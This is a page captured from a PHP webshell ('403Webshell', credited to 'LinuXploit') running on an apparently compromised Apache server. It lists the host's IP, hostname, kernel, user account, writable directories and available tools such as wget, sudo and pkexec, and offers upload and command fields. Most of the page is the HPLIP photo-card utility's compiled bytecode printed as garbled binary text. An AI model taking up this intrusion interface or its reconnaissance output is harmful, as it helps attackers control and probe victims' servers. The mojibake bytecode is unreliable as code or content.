403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/hplip/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/hplip/unload.pyc
Ñò
lïJc-@s)	dZdZdZdZddkZddkZddkZddkZddkZddk	Z	ddk
Z
ddkZddkZddk
Z
yddkZWnej
onXddkTddklZlZlZlZddklZdd	klZd
e	ifd„ƒYZd„Zeieeeeeee e!fe"fƒZ#e#i$ei%d
ddde&fgddgƒe#i'ddgƒ\Z(Z)Z*Z+Z,Z-ei.ƒZ/x1e(D])\Z0Z1e0ddfjo
e1Z/nq¹We+ejoei2ƒo
e Z+nne+ejo/e,djoe3i4dƒei5dƒnne+e e!fjoöyÏe#i6e)e*dhe
i7dfd6ƒZ)yei8ee)e*ƒZ9Wn6e:j
o*Z;e3i4de;i<ƒei5dƒnXe9i=e>ƒye9i?ƒWn7e:j
o+e3i4dƒe9i@ƒei5dƒnXe3iAe3iBde9ii)ƒƒe3iAe3iBdƒƒeiCiDeiCiEeiCiFe/ƒƒƒZ/yeiGe/ƒWn2eHj
o&e3iBd e/ƒGHei5dƒnXe+e joxee9ƒZIzZyeIiJƒWnEeKj
oe3i4d!ƒn'eLj
oZ;e3i4d"e;ƒnXWde9i@ƒXnÒd#ei.ƒGHz´e9iMƒZNHeOeNƒd$jod$ZPx'eND]ZQeRePeOeQd$ƒƒZPqšWeiShePd%d&6d%d'6hd(d&6d%d'6eiSiTd)6hd(d&6d%d'6fƒZUHe3iBeUiVd*d+d,fƒƒGHd$ZWxZeND]RZQeUiVd-eQd$eiXeQdƒd.eQd%eQd/ffƒGHeWeQd7ZWq>We3iBd0eOeNƒeiXeWeYƒfƒGHe3iBd1ƒGHe9iZeNeeeYƒ\ZWZ[Z\e3iBd2eiXeWƒe[eWd3e[fƒGHnWde9i@ƒXWn eKj
oe3i4d4ƒnXn¸yddk]Tdd5k^l_Z_Wn-ej
o!e3i4d6ƒei5dƒnXe`eiaƒZbecidebeed7ƒebefd8ƒƒe-ejoSegihd9d:d;ƒZ-e-iiƒd;jo'ejekilƒƒZ-e3imd<e-ƒnne-iiƒd=joÔd>Z;y.e-ind?ƒ\ZoZpd?iqeoe;gƒZ-Wn.erj
o"e-Zod?iqe-e;gƒZ-nXe3imd@e-ƒeseƒZtdAeoZue3imdBeuƒetiveuewixƒZyeyoebizetƒnd=Z-ne-d=joe3imdCƒnge3imdDe-ƒe{i|e{e-ƒƒe-ew_ly eli}eli~elie-ƒƒWneli:j
onXye_i€dEge)e*ƒZWn-e:j
o!e3i4dFƒei5dƒnXebi‚eƒeiƒƒebi„ƒe3iAdGƒe3iAdHƒdS(Is3.3s	hp-unloadsPhoto Card Access Utilitys¹Access inserted photo cards on supported HPLIP printers. This provides an alternative for older devices that do not support USB mass storage or for access to photo cards over a network.iÿÿÿÿN(t*(tdevicetutilsttuitmodule(tcups(t	photocardtConsolecBseZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d„Z
d	„Zd
„Zd„Z
d„Zd
„Zd„Zd„Zd„Zed„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z d„Z!dd „Z"d!„Z#d"„Z$d#„Z%d$„Z&d%„Z'd&„Z(d'„Z)d(„Z*d)„Z+RS(*cCs|tii|ƒd|_||_|iiƒ}|d|_|iotidƒnti	d|ii
ƒƒ|_dS(Ns8Type 'help' for a list of commands. Type 'exit' to quit.isPhoto card is write protected.spcard: %s > (tcmdtCmdt__init__tintrotpctinfot
write_protecttlogtwarningtboldtpwdtprompt(tselfRt	disk_info((s/usr/share/hplip/unload.pyR
=s		

cCs|iGHdS(s/Print a list of commands that have been enteredN(t_hist(Rtargs((s/usr/share/hplip/unload.pytdo_histHscCsdS(sExits from the consoleiÿÿÿÿ((RR((s/usr/share/hplip/unload.pytdo_exitLscCsdS(sExits from the consoleiÿÿÿÿ((RR((s/usr/share/hplip/unload.pytdo_quitPscCs
|i|ƒS(s$Exit on system end of file character(R(RR((s/usr/share/hplip/unload.pytdo_EOFUscCstii||ƒdS(sÃGet help on commands
           'help' or '?' with no arguments prints a list of commands for which help is available
           'help <command>' or '? <command>' gives help on <command>
        N(RR	tdo_help(RR((s/usr/share/hplip/unload.pyRYscCs/tii|ƒg|_h|_h|_dS(sInitialization before prompting user for commands.
           Despite the claims in the Cmd documentaion, Cmd.preloop() is not a stub.
        N(RR	tpreloopRt_localst_globals(R((s/usr/share/hplip/unload.pyRbs		cCstii|ƒdGHdS(sƒTake care of any unfinished business.
           Despite the claims in the Cmd documentaion, Cmd.postloop() is not a stub.
        s
Exiting...N(RR	tpostloop(R((s/usr/share/hplip/unload.pyR kscCs|i|iƒg7_|S(sá This method is called after the line has been input but before
            it has been interpreted. If you want to modifdy the input line
            before execution (for example, variable substitution) do it here.
        (Rtstrip(Rtline((s/usr/share/hplip/unload.pytprecmdrscCs|S(s™If you want to stop the console, return something that evaluates to true.
           If you want to do some post command processing, do it here.
        ((RtstopR"((s/usr/share/hplip/unload.pytpostcmdzscCsdS(sDo nothing on empty input lineN((R((s/usr/share/hplip/unload.pyt	emptyline€scCstidƒGHdS(Ns9ERROR: Unrecognized command. Use 'help' to list commands.(RR(RR"((s/usr/share/hplip/unload.pytdefault„scCstidƒdS(s List local directory contents.sls -lN(tostsystem(RR((s/usr/share/hplip/unload.pytdo_ldir‡scCstidƒdS(s List local directory contents.sls -lN(R(R)(RR((s/usr/share/hplip/unload.pytdo_lls‹scCs
|i|ƒS(sSynonym for the ls command.(tdo_ls(RR((s/usr/share/hplip/unload.pytdo_dirsc
Cs•|iƒiƒ}|iit|ƒ}d}tihdd6dd6hdd6dd6tiid6hdd6dd6fƒ}Hti	|i
dƒƒGHd}xf|iiƒD]U}|ddjo|i
|dddfƒGHqª|i
|ddddfƒGHqªWxg|iiƒD]V}|i
|dti
|dƒ|ii|dƒfƒGH|d7}||d7}qWti	d|ti
|tƒfƒGHdS(s#List photo card directory contents.iitwidthitmarginit	alignmentitNametSizetTypet.s..tt	directoryt/is
% d files, %sN(R1R2R3(R4s..(R!tlowerRtlstTrueRt
TextFormattertRIGHTRRtcomposetcurrent_directoriest
current_filestformat_bytest
classify_file(RRtfilest
total_sizet	formattert	num_filestdtf((s/usr/share/hplip/unload.pyR,“s*#8
cCsW|iiƒ}|iƒiƒdjoti|ƒ}nti|ƒ}d|GHdS(sgDisplay free space on photo card.
        Options:
        -h	Display in human readable format
        s-hsFreespace = %s BytesN(RtdfR!R8RR@tcommafy(RRt	freespacetfs((s/usr/share/hplip/unload.pytdo_df³s
cCs—|iƒiƒ}|ii|ƒ}t|ƒdjo	dGHnT|ii|||i|iƒ\}}ti	dt
i|ƒ||d|fƒGHdS(s
Copy files from photo card to current local directory.
        Usage:
        	cp FILENAME(S)|GLOB PATTERN(S)
        Example:
        	Copy all JPEG and GIF files and a file named thumbs.db from photo card to local directory:
        	cp *.jpg *.gif thumbs.db
        isERROR: File(s) not found.s$
%s transfered in %d sec (%d KB/sec)iN(R!R8Rtmatch_filestlentcp_multipletcp_status_callbacktrm_status_callbackRRRR@(RRtremove_after_copyt
matched_filesttotaltdelta((s/usr/share/hplip/unload.pytdo_cpÂs	'c

Cs+|iƒiƒiƒ}t}d|jo)|iiotidƒdSt}n|ii	ƒ}Ht
|ƒdjo«d|jo,d}x'|D]}t|t
|dƒƒ}q‘Wti
h|dd6dd6hd	d6dd6ti
id
6hd	d6dd6fƒ}Hti|idƒƒGHd}xZ|D]R}|id|dti|dƒd|d|dffƒGH||d7}q,Wtidt
|ƒti|tƒfƒGHq'tidt
|ƒƒGH|ii||i|i|ƒ\}}}	tidti|ƒ||d|fƒGHndGHdS(sþUnload all image files from photocard to current local directory.
        Note:
        	Subdirectories on photo card are not preserved
        Options:
        -x	Don't remove files after copy
        -p	Print unload list but do not copy or remove filess-xs.Photo card is write protected. -x not allowed.Nis-piR.R/iR0R1R2R3s%sis%s/%sisFound %d files to unload, %ssUnloading %d files...s"
%s unloaded in %d sec (%d KB/sec)is&No image, audio, or video files found.(sNamesSizesType(R8R!tsplittFalseRRRterrorR:tget_unload_listRNtmaxRR;R<RR=R@tunloadRPRQ(
RRtdont_removetunload_listtmax_lentuRDRTRUt
was_cancelled((s/usr/share/hplip/unload.pyt	do_unloadÕs>




>.*0cCsC|djoHtid|ƒGHnd||ti|ƒfGHdS(Nis
Copying %s...s
Copied %s to %s (%s)...(RRRR@(Rtsrcttrgtsize((s/usr/share/hplip/unload.pyRPs
cCs
d|GHdS(NsRemoving %s...((RRc((s/usr/share/hplip/unload.pyRQscCs”|iiotidƒdS|iƒiƒ}|ii|ƒ}t|ƒdjo	dGHn%x!|D]}|ii|t	ƒqfW|ii
ƒdS(sRemove files from photo card.s.Photo card is write protected. rm not allowed.NisERROR: File(s) not found.(RRRRYR!R8RMRNtrmRXR9(RRRSRG((s/usr/share/hplip/unload.pytdo_rms

	cCs3|iiotidƒdS|i|tƒdS(sMove files off photocards.Photo card is write protected. mv not allowed.N(RRRRYRVR:(RR((s/usr/share/hplip/unload.pytdo_mv)s

cCstiƒGHdS(s.Print name of local current/working directory.N(R(tgetcwd(RR((s/usr/share/hplip/unload.pytdo_lpwd0scCsJyti|iƒƒWn!tj
otidƒGHnXtiƒGHdS(s'Change current local working directory.sERROR: Directory not found.N(R(tchdirR!tOSErrorRRRi(RR((s/usr/share/hplip/unload.pytdo_lcd4s
cCs|iiƒGHdS(sOPrint name of photo card current/working directory
        Usage:
        	>pwdN(RR(RR((s/usr/share/hplip/unload.pytdo_pwd<scCsý|iƒiƒ}|djo+|iiƒdjo|iiƒqÚn‘|djon€|djo|iidƒn_|ii|ƒ}t|ƒdjo	dGHn1t|ƒdjo	dGHn|ii|dƒti	d|iiƒƒ|_
d	S(
sªChange current working directory on photo card.
        Note:
        	You may only specify one directory level at a time.
        Usage:
        	cd <directory>
        s..R7R4isDirectory not foundis'Pattern matches more than one directoryspcard: %s > N(R8R!RRtcduptcdt
match_dirsRNRRR(RRtmatched_dirs((s/usr/share/hplip/unload.pytdo_cdBs


		cCs|idƒdS(sChange to parent directory.s..N(Rs(RR((s/usr/share/hplip/unload.pytdo_cdupcscCs)|iƒiƒ}|djo|iitƒnó|djo|iitƒnÒ|iiƒo¼|iiƒ}|iƒ}|i	ƒHx!|D]}d|||fGHq‘Wt
idti
t|ƒdƒti
tidƒfƒGHt
idtit|ƒƒtitiƒfƒGHndGHdS(	sœDisplay current cache entries, or turn cache on/off.
        Usage:
        	Display: cache
        	Turn on: cache on
        	Turn off: cache off
        tontoffssector %d (%d hits)s"Total cache usage: %s (%s maximum)isTotal cache sectors: %s of %ss
Cache is off.N(R!R8Rt
cache_controlR:RXtcache_statet
cache_infotkeystsortRRRR@RNRt	MAX_CACHERI(RRRyttts((s/usr/share/hplip/unload.pytdo_cacheks 


;7cCs|iƒiƒ}t}yt|ƒ}Wntj
o
dGHdSX|ii|ƒdjo	dGHnt|ii|ƒƒGHdS(sIDisplay sector data.
        Usage:
        	sector <sector num>
        s$Sector must be specified as a numberNis
Cached sector(	R!R8RXtintt
ValueErrorRtcache_checktreprtsector(RRtcachedR„((s/usr/share/hplip/unload.pyt	do_sector‰s	cCs!|iiƒ}H|i|ƒdS(s"Display photo card directory tree.N(Rttreet
print_tree(RRR‡((s/usr/share/hplip/unload.pytdo_treeœsicCsmxf|D]^}t||ƒthƒjo;did|d|dgƒGH|i|||dƒqqWdS(NR5t iR7i(ttypetjoinRˆ(RR‡tlevelRF((s/usr/share/hplip/unload.pyRˆ¢s
cCs|iiƒdS(sReset the cache.N(Rtcache_reset(RR((s/usr/share/hplip/unload.pytdo_reset©scCsàHd|iiiGHd|iiiGHd|iiƒGH|iiƒ}d|dGHd|dGHd|d	GHd
|dGHd|d
GHd|dGHd|dGHd|dGHd|dGHdtit|ii	ƒƒƒGHdS(sPrint info about photocard.sDevice URI = %ss
Model = %ssWorking dir = %ssOEM ID = %sisBytes/sector = %disSectors/cluster = %disReserved sectors = %disRoot entries = %disSectors/FAT = %disVolume label = %sisSystem ID = %sisWrite protected = %disCached sectors = %sN(
RRt
device_uritmodel_uiRR
RRIRNRy(RRR((s/usr/share/hplip/unload.pytdo_card®s








cCsØ|iƒiƒ}|ii|ƒ}t|ƒdjo||ii|ƒidƒd}|djoGtiƒ\}}|ii	||ƒt
id|ƒt
i|ƒqÔdGHn"t|ƒdjo	dGHndGHd	S(
sMDisplay an image with ImageMagick.
        Usage:
        	display <filename>iR7itimages
display %ssFile is not an image.sFile not found.s5Only one file at a time may be specified for display.N(
R!R8RRMRNRARWRtmake_temp_filetcpR(R)tremove(RRRSttyptfdt	temp_name((s/usr/share/hplip/unload.pyt
do_displayÁs
		cCs|i|ƒdS(s Synonym for the display command.N(Rš(RR((s/usr/share/hplip/unload.pytdo_showÛscCs¡|iƒiƒ}|ii|ƒ}t|ƒdjoE|ii|ƒidƒ\}}|djo|djo|ii|ƒ}ti	i|ƒ\}}ti	i
|ƒ\}}	d|joNtiƒ\}
}t
|dƒi|dƒtid|ƒti|ƒqxd	|joNtiƒ\}
}t
|dƒi|d	ƒtid|ƒti|ƒqxd
GHqdGHn"t|ƒdjo	d
GHndGHdS(s½Display an embedded thumbnail image with ImageMagick.
        Note:
        	Only works with JPEG/JFIF images with embedded JPEG/TIFF thumbnails
        Usage:
        	thumbnail <filename>iR7R“tjpegttifft
JPEGThumbnailtwbs
display %st
TIFFThumbnailsNo thumbnail found.s"Incorrect file type for thumbnail.isFile not found.s?Only one file at a time may be specified for thumbnail display.N(RœR(R!R8RRMRNRARWtget_exifR(tpathtsplitextRR”topentwriteR)R–(RRRSR—tsubtypt	exif_infotdir_namet	file_namet
photo_namet	photo_extttemp_file_fdttemp_file_name((s/usr/share/hplip/unload.pytdo_thumbnailßs.!

			cCs|i|ƒdS(s"Synonym for the thumbnail command.N(R®(RR((s/usr/share/hplip/unload.pytdo_thumbsc	CsS|iƒiƒ}|ii|ƒ}t|ƒdjo÷|ii|ƒidƒ\}}|djoÀ|djo³|ii|ƒ}ti	hdd6dd	6hdd6dd	6fƒ}Ht
i|idƒƒGH|i
ƒ}|iƒxD|D]3}|djo |i|d||fƒGHqêqêWqOdGHn"t|ƒdjo	dGHndGHdS(sCDisplay EXIF info for file.
        Usage:
        	exif <filename>iR7R“RœRi(R.iR/tTagtValueRžR tFilenames%ss"Incorrect file type for thumbnail.isFile not found.s?Only one file at a time may be specified for thumbnail display.N(sjpegstiff(R°R±(s
JPEGThumbnails
TIFFThumbnailR²(R!R8RRMRNRARWR¡RR;RRR=RzR{(	RRRSR—R¦R§RDteete((s/usr/share/hplip/unload.pytdo_exifs*!

(		cCs|i|ƒdS(sSynonym for the exif command.N(Rµ(RR((s/usr/share/hplip/unload.pytdo_info4scCstittƒdS(N(Rt	log_titlet	__title__t__version__(RR((s/usr/share/hplip/unload.pytdo_about8s(,t__name__t
__module__R
RRRRRRR R#R%R&R'R*R+R-R,RLRXRVRbRPRQRgRhRjRmRnRsRtRR†R‰RˆRR’RšR›R®R¯RµR¶Rº(((s/usr/share/hplip/unload.pyR;sR																		 		6								!									)		(	cCsC|djoHtid|ƒGHnd||ti|ƒfGHdS(Nis
Copying %s...s
Copied %s to %s (%s)...(RRRR@(RcRdRe((s/usr/share/hplip/unload.pytstatus_callback<s
t
extra_optionssOutput directory:sV-o<dir> or --output=<dir> (Defaults to current directory)(Only used for non-GUI modes)toptiont
see_also_lists
hp-toolboxtosoutput=s-os--outputtqt4sA%s does not support Qt4. Please use Qt3 or run in -i or -n modes.itfilters
pcard-types%Unable to start photocard session: %sskUnable to mount photo card on device. Check that device is powered on and photo card is correctly inserted.s
Photocard on device %s mounteds4DO NOT REMOVE PHOTO CARD UNTIL YOU EXIT THIS PROGRAMs%ERROR: Output directory %s not found.sAborted.sAn error occured: %ssOutput directory is %siiR.R/iR0R1R2R3s%ss%s/%sisFound %d files to unload, %s
sUnloading files...
s"
%s unloaded in %d sec (%d KB/sec)is	User exit(t
unloadforms,Unable to load Qt3 support. Is it installed?slastWindowClosed()squit()tuitlocR)sUsing system locale: %stctutf8R4s&Trying to load .qm file for %s locale.shplip_%s.qmsName of .qm file: %ssUsing default 'C' localesUsing locale: %sRsEUnable to connect to HPLIP I/O. Please (re)start HPLIP and try again.R5sDone.(…R¹t__mod__R¸t__doc__tsysR(tos.pathtgetopttreRttimetfnmatchtstringtoperatortreadlinetImportErrortbase.gtbaseRRRRtprntRtpcardRR	RR½tModuletNonetGUI_MODEtINTERACTIVE_MODEtNON_INTERACTIVE_MODEtUI_TOOLKIT_QT3tmodtsetUsagetUSAGE_FLAG_DEVICE_ARGSRXtparseStdOptstoptsRtprinter_nametmodet
ui_toolkitRÆRit
output_dirRÁtatcanEnterGUIModeRRYtexittgetDeviceUriteqt	PhotoCardRtErrorR´tmsgtset_callbacktupdate_spinnertmounttumountR
RR¢trealpathtnormpatht
expanduserRkRltconsoletcmdlooptKeyboardInterruptt	ExceptionRZR^RNR_R`R[R;R<RDR=RTR@R:R\RURatqtRÅRÄtQApplicationtargvtapptQObjecttconnecttSIGNALtSLOTt	user_conftgetR8tstrt
QTextCodectlocaletdebugRWtltxRŒRtQTranslatorttranstqm_filetloadtproptlocalization_dirtloadedtinstallTranslatortQLocalet
setDefaultt	setlocaletLC_ALLt	normalizet
UnloadFormtwt
setMainWidgettshowt	exec_loop(((s/usr/share/hplip/unload.pyt<module>s2
"
ÿÿ		
'






 *
 >*!4

"



	 






Youez - 2016 - github.com/yon3zu
LinuXploit